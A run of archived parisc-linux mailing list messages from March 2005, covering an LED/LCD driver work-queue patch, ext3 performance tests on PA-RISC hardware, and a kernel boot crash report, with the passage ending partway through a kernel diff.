	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15024-08; Sun, 27 Mar 2005 02:41:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A9447D698;
	Sun, 27 Mar 2005 02:40:59 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EEED7D695
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 02:40:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15024-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 02:40:56 -0700 (MST)
Original-Received: from titanium.localdomain (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by free.linux.hp.com (Postfix) with ESMTP id 99B9A7D685
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 02:40:55 -0700 (MST)
Original-Received: from [10.0.0.156] (helo=[10.0.0.156])
	by titanium.localdomain with esmtp (Exim 3.35 #1 (Debian))
	id 1DFUF7-00086G-00; Sun, 27 Mar 2005 10:39:37 +0100
User-Agent: KMail/1.7.2
In-Reply-To: <20050327085330.GA17602@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Bho0YvJoeSE5+76WZHQhaXN2IGRvb4AT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22511

--===============1257430555==
Content-Type: multipart/signed; boundary="nextPart31773099.26GnJ3zSzt";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart31773099.26GnJ3zSzt
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Sunday 27 March 2005 09:53, Grant Grundler wrote:
> On Sat, Mar 26, 2005 at 03:14:41PM +0000, David Pye wrote:
> > Attached! The only real change now is that the minimum on-time is now L=
CD
> > only, so hopefully this gets us the best of both worlds. LED people won=
't
> > notice anything different, and the LCD should now be nicely responsive.
>
> I've attached the patch I'm willing to commit...works for me.
>
> And I really like the work-queue implementation. It nicely
> solves the cmd/data pair problem and consolidates more of the
> support in led.c.  The only drawback I can see so far is the
> scheduler may chose to not run the led_func when it needs to
> be run. If a machine is really busy, only the hearbeat will
> suffer and I expect users will get other clues that the machine
> is just really busy.

Yep, that's what I'd guess too.

> Sorry - I can't get warm to the implementation of minimum on time.
> It was really cluttering up the main routine.
> Can I commit this patch for now and then we follow up with another
> patch for minimum on-time?

Sure.  It definitely cluttered up the main routine, and I wasn't particular=
ly=20
happy with having to include an if conditional testing led_type in the=20
generic routine.  Hopefully a better idea on how to handle it will emerge=20
shortly.

> I think I would be ok with it implemented inside the led_get*
> activity routines. They have access to lastleds and jiffies and
> that should be enough to figure out how long an LED should stay
> on if it's already on.  The main routine can stay simple/readable.

Yep, I hadn't really thought of doing it in there - I'll have a play with i=
t=20
and maybe annoy everyone with another patch in a bit.   Downside is that it=
's=20
not really the right place to put it *if* you want it to be lcd-only.

The only other way to do it which you might not find as ugly is to move thi=
s=20
into the drivers.  ie the drivers would need to be given the responsibility=
=20
of deciding whether they need to update anything (ie each of them has to=20
store currentleds rather than the generic calculator function). That way,=20
they'll get called each time the work runs, but can decide for themselves=20
whether to actually do anything.  It's only a couple of lines to add to the=
=20
other functions e.g. lasi.   How does that sound?

> I also just realized because led_get* routines are static inline,
> led_lanrxtx and led_diskio tests can be moved to the respective
> routines as well with no harm to performance. May be a bad idea
> though since current construct is pretty obvious what they do.
>
> cheers,
> grant

Cheers,

David

--nextPart31773099.26GnJ3zSzt
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (GNU/Linux)

iD8DBQBCRn8iOIrGtzS07WgRAjnsAJ9iFkzRLyajhlG9+mMiwVq4Wm4DCACgkcrR
bON0PxnY07Q1YtN7AY/hdGU=
=8cP+
-----END PGP SIGNATURE-----

--nextPart31773099.26GnJ3zSzt--

--===============1257430555==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1257430555==--



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 perf patch#4
Date: Sun, 27 Mar 2005 13:49:06 +0000
Lines: 122
Approved: news@gmane.org
Message-ID: <4246B9D2.7070906@tiscali.be>
References: <20050326103540.GA31557@colo.lackof.org>
	<20050327011849.GD9287@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623721 13523 80.91.229.3 (22 Nov 2014 02:35:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 13:49:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 27 Mar 2005 15:49:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B4807D697;
	Sun, 27 Mar 2005 06:50:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17332-05; Sun, 27 Mar 2005 06:50:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FEF27D683;
	Sun, 27 Mar 2005 06:50:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6036B7D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 06:50:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17332-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 06:50:43 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id A0B407D66A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 06:50:43 -0700 (MST)
Original-Received: from [83.134.226.213] (helo=[83.134.226.213])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DFY8Z-0001Uy-Fa; Sun, 27 Mar 2005 15:49:07 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <20050327011849.GD9287@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iNw0Yq5LeSE5+76WZHQhaXN2IGRvbwDW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22512



Grant Grundler wrote:
> On Sat, Mar 26, 2005 at 03:35:40AM -0700, Grant Grundler wrote:
> 
>>James Bottomley in a private conversation suggested our
>>ext2_test_bit() and ext2_find_next_zero_bit() might not
>>be counting bits the same way in the bitmap.
> 
> 
> James, kudos and thank you.
> 
> With appended patch, I'm getting reasonable ext3 performance.
> Can someone please test this patch in a 32-bit kernel?
> 
Obviously ;-)

> I'm comfortable this patch works for 64-bit since I've been building
> kernels and running rsync across 3 disks with no problems.
> I *think* the code is 32-bit clean as well, but haven't tested it.
> 
on my c110 no pb to boot :-)
some rsync test (on non mirored slices on 2 different disk but on the same scsi ctrlr ncr53c720):
# time rsync -a /Debian-apt/SRC/linux-2.6.12-rc1-pa4-050327 /Sources/CVS-tst

real    3m34.512s
user    1m0.730s
sys     1m6.440s

# du -sk /Debian-apt/SRC/linux-2.6.12-rc1-pa4-050327
256616  /Debian-apt/SRC/linux-2.6.12-rc1-pa4-050327

...

> Simple test results follow and then the patch.
> 
# bdf
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/md2               1692128   1194620    411552  75% /
tmpfs                   256300         0    256300   0% /dev/shm
/dev/md0                123699    112645      4667  97% /boot
/dev/md3                247407     82537    152096  36% /var
/dev/md4                123635      4129    113122   4% /tmp
/dev/md5                123635     15749    101502  14% /home
/dev/sdb9              1513656    968940    529340  65% /Debian-apt
/dev/sda9              1513656   1011696    425068  71% /Sources
/dev/sdc5              1692220    913028    693232  57% /chroot
/dev/sdc3               123767      8728    108649   8% /chroot/boot
/dev/sdc6               247511    107636    127096  46% /chroot/var
/dev/sdc7               123735      4130    113216   4% /chroot/tmp
/dev/sdc8               123735      4144    113202   4% /chroot/home
/dev/sdc9              1513656    473444   1024836  32% /chroot/Develop

...

> grundler@riot:/$ lsscsi
Not yet lsscsi

> 
> riot:/mnt# time tar xjf linux-2.6.12-rc1-pa3.tar.bz2 
> 
I prefer simply tar and so:
# cd /Debian-apt/SRC
# time tar -cslpf /chroot/Develop/linux-2.6.12-rc1-pa4.tar2 linux-2.6.12-rc1-pa4-050327

real    0m38.487s
user    0m3.690s
sys     0m18.650s

a sample iostat too :-)
avg-cpu:  %user   %nice    %sys %iowait   %idle
           15.70    0.00   47.00   37.30    0.00

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda               2.50         0.00        19.60          0        196
sdb             297.30      5906.40        89.20      59064        892
sdc              15.10         0.00      7712.80          0      77128
md0               0.00         0.00         0.00          0          0
md5               0.00         0.00         0.00          0          0
md4               0.00         0.00         0.00          0          0
md3               0.20         0.00         0.40          0          4
md2               2.00         0.00        16.00          0        160
md1               0.00         0.00         0.00          0          0


# cd /chroot/Develop

# time tar -xslpf linux-2.6.12-rc1-pa4.tar2

real    1m32.901s
user    0m4.880s
sys     0m30.000s

another iostat sample:
avg-cpu:  %user   %nice    %sys %iowait   %idle
           13.19    0.00   39.66   47.15    0.00

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda               0.00         0.00         0.00          0          0
sdb               0.00         0.00         0.00          0          0
sdc             173.33      4542.66      6186.61      45472      61928
md0               0.00         0.00         0.00          0          0
md5               0.00         0.00         0.00          0          0
md4               0.00         0.00         0.00          0          0
md3               0.00         0.00         0.00          0          0
md2               0.00         0.00         0.00          0          0
md1               0.00         0.00         0.00          0          0


still have to test on a quicker system as the b2k if that could solve the bug I reproduce on 32bit kernel
(cf patch log message:"... I suspect the real problem is ffz() wants
	an unsigned long and was getting garbage in the top half of the
	unsigned int. Not confirmed but that's what I suspect.)

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k-class drivers/parisc/ccio-dma.c
Date: Sun, 27 Mar 2005 18:15:20 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20050327161520.GA15500@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623721 13525 80.91.229.3 (22 Nov 2014 02:35:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 16:15:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 27 Mar 2005 18:15:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 856537D685;
	Sun, 27 Mar 2005 09:16:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18285-06; Sun, 27 Mar 2005 09:16:46 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F404E7D691;
	Sun, 27 Mar 2005 09:16:45 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2792B7D683
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 09:16:41 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18207-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 09:16:40 -0700 (MST)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id 95BC17D67E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 09:16:40 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id E29B71E29A1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 18:15:30 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 14839-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 18:15:20 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id 6F3602AD85; Sun, 27 Mar 2005 18:15:20 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RLk0YvNOeSE5+76WZHQhaXN2IGRvb4Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22513

im having trouble with booting the 2.6 kernels on a k460.

--------------------------------------------------------
CPU(s): 4 x PA8000 (PCX-U) at 180.000000 MHz
Setting cache flush threshold to 40 (4 CPUs online)
Found U2 at 0xfff8a000
kernel BUG at drivers/parisc/ccio-dma.c:1317!
Backtrace:
 [<1025b0e0>] ccio_ioc_init+0x284/0x29c
 [<10131530>] printk+0x20/0x2c
 [<1025b5d4>] ccio_probe+0xd4/0x1f4
 [<10246588>] kobject_hotplug+0x27c/0x2e8
 [<101122e4>] parisc_driver_probe+0x2c/0x60
 [<1027fab4>] driver_probe_device+0x38/0x88
 [<1027fc5c>] driver_attach+0x84/0xc0
 [<102801cc>] bus_add_driver+0xa4/0xcc
 [<10280740>] driver_register+0x70/0x7c
 [<10104db4>] init+0x268/0x340
 [<1010dc5c>] ret_from_kernel_thread+0x1c/0x24

Kernel panic - not syncing: BUG!
----------------------------------------------------
i get this error with linux-2.6.12-rc1-pa4 and linux-2.6.11_p2

gcc version 3.3.5  (Gentoo Linux 3.3.5-r1, pie-8.7.7.1)
binutils-2.15.92.0.2-r1
tanya src # uname -a

Linux tanya 2.4.27-pa4 #6 SMP Wed Mar 23 19:05:42 CET 2005 parisc PA8000 
(PCX-U) 9000/889/K460 GNU/Linux

http://www.ing.umu.se/~dizzey/System.map

i hope this is sufficient

/dizzey
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Pye <dmp@davidmpye.dyndns.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J5000 LED LCD patch (take 2)
Date: Sun, 27 Mar 2005 17:55:53 +0000
Lines: 484
Approved: news@gmane.org
Message-ID: <200503271855.56304.dmp@davidmpye.dyndns.org>
References: <200503241848.57598.dmp@davidmpye.dyndns.org>
	<20050327085330.GA17602@colo.lackof.org>
	<200503271038.42434.dmp@davidmpye.dyndns.org>
Reply-To: dmp@davidmpye.dyndns.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0277697241=="
X-Trace: ger.gmane.org 1416623721 13528 80.91.229.3 (22 Nov 2014 02:35:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Mar 2005 17:56:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 27 Mar 2005 19:56:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEBD77D69E;
	Sun, 27 Mar 2005 10:58:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19075-07; Sun, 27 Mar 2005 10:58:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B9EE27D69F;
	Sun, 27 Mar 2005 10:58:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E86E67D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 10:58:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19128-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 10:58:15 -0700 (MST)
Original-Received: from galaxy.systems.pipex.net (galaxy.systems.pipex.net
	[62.241.162.31])
	by free.linux.hp.com (Postfix) with ESMTP id F064E7D697
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Mar 2005 10:58:14 -0700 (MST)
Original-Received: from platinum (81-86-97-163.dsl.pipex.com [81.86.97.163])
	by galaxy.systems.pipex.net (Postfix) with ESMTP id AD855E00018D;
	Sun, 27 Mar 2005 18:56:26 +0100 (BST)
User-Agent: KMail/1.7.2
In-Reply-To: <200503271038.42434.dmp@davidmpye.dyndns.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tpY0YtBveSE5+76WZHQhaXN2IGRvb8A6
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22514

--===============0277697241==
Content-Type: multipart/signed; boundary="nextPart6546651.uK6JBH8hjW";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart6546651.uK6JBH8hjW
Content-Type: multipart/mixed;
  boundary="Boundary-01=_qOvRCVfijlnTHcA"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--Boundary-01=_qOvRCVfijlnTHcA
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Right, I've actually found and fixed what was the cause of the missing=20
heartbeats.  Although led minimum ontime 'fixes' it, it's actually a bandai=
d=20
for the real problem.

Could I ask you to have a glance at this patch? It's based on your previous=
=20
one, and only has a very minor change to the way count_HZ is incremented - =
ie=20
increment by the actual jiffies past, not the number we asked to be=20
rescheduled in.

On my system, the heart now beats regularly under IO/LAN traffic!

Cheers,

David

--Boundary-01=_qOvRCVfijlnTHcA
Content-Type: text/x-diff;
  charset="iso-8859-1";
  name="led_lcd_patch5"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="led_lcd_patch5"

diff -urpN oldtree/arch/parisc/kernel/time.c newtree/arch/parisc/kernel/tim=
e.c
=2D-- oldtree/arch/parisc/kernel/time.c	2004-10-21 19:58:24.000000000 +0100
+++ newtree/arch/parisc/kernel/time.c	2005-03-27 18:30:29.000000000 +0100
@@ -89,14 +89,6 @@ irqreturn_t timer_interrupt(int irq, voi
 		}
 	}
    =20
=2D#ifdef CONFIG_CHASSIS_LCD_LED
=2D	/* Only schedule the led tasklet on cpu 0, and only if it
=2D	 * is enabled.
=2D	 */
=2D	if (cpu =3D=3D 0 && !atomic_read(&led_tasklet.count))
=2D		tasklet_schedule(&led_tasklet);
=2D#endif
=2D
 	/* check soft power switch status */
 	if (cpu =3D=3D 0 && !atomic_read(&power_tasklet.count))
 		tasklet_schedule(&power_tasklet);
diff -urpN oldtree/drivers/parisc/led.c newtree/drivers/parisc/led.c
=2D-- oldtree/drivers/parisc/led.c	2005-03-18 13:17:10.000000000 +0000
+++ newtree/drivers/parisc/led.c	2005-03-27 18:31:33.000000000 +0100
@@ -18,6 +18,9 @@
  * Changes:
  *      - Audit copy_from_user in led_proc_write.
  *                                Daniele Bellucci <bellucda@tiscali.it>
+ *	- Switch from using a tasklet to a work queue, so the led_LCD_driver
+ *	  	can sleep.
+ *	  			  David Pye <dmp@davidmpye.dyndns.org>
  */
=20
 #include <linux/config.h>
@@ -37,6 +40,7 @@
 #include <linux/proc_fs.h>
 #include <linux/ctype.h>
 #include <linux/blkdev.h>
+#include <linux/workqueue.h>
 #include <asm/io.h>
 #include <asm/processor.h>
 #include <asm/hardware.h>
@@ -46,25 +50,30 @@
 #include <asm/uaccess.h>
=20
 /* The control of the LEDs and LCDs on PARISC-machines have to be done=20
=2D   completely in software. The necessary calculations are done in a task=
let
=2D   which is scheduled at every timer interrupt and since the calculation=
s=20
=2D   may consume relatively much CPU-time some of the calculations can be=
=20
+   completely in software. The necessary calculations are done in a work q=
ueue
+   task which is scheduled regularly, and since the calculations may consu=
me a=20
+   relatively large amount of CPU time, some of the calculations can be=20
    turned off with the following variables (controlled via procfs) */
=20
 static int led_type =3D -1;
=2Dstatic int led_heartbeat =3D 1;
=2Dstatic int led_diskio =3D 1;
=2Dstatic int led_lanrxtx =3D 1;
+static unsigned char lastleds;	/* LED state from most recent update */
+static unsigned int led_heartbeat =3D 1;
+static unsigned int led_diskio =3D 1;
+static unsigned int led_lanrxtx =3D 1;
 static char lcd_text[32];
 static char lcd_text_default[32];
=20
+
+static struct workqueue_struct *led_wq;
+static void led_work_func(void *);
+static DECLARE_WORK(led_task, led_work_func, NULL);
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
 #define DPRINTK(x)
 #endif
=20
=2D
 struct lcd_block {
 	unsigned char command;	/* stores the command byte      */
 	unsigned char on;	/* value for turning LED on     */
@@ -115,12 +124,24 @@ lcd_info __attribute__((aligned(8))) =3D
 #define LCD_DATA_REG	lcd_info.lcd_data_reg_addr	=20
 #define LED_DATA_REG	lcd_info.lcd_cmd_reg_addr	/* LASI & ASP only */
=20
+#define LED_HASLCD 1
+#define LED_NOLCD  0
+
+/* The workqueue must be created at init-time */
+static int start_task(void)=20
+{=09
+	/* Create the work queue and queue the LED task */
+	led_wq =3D create_singlethread_workqueue("led_wq");=09
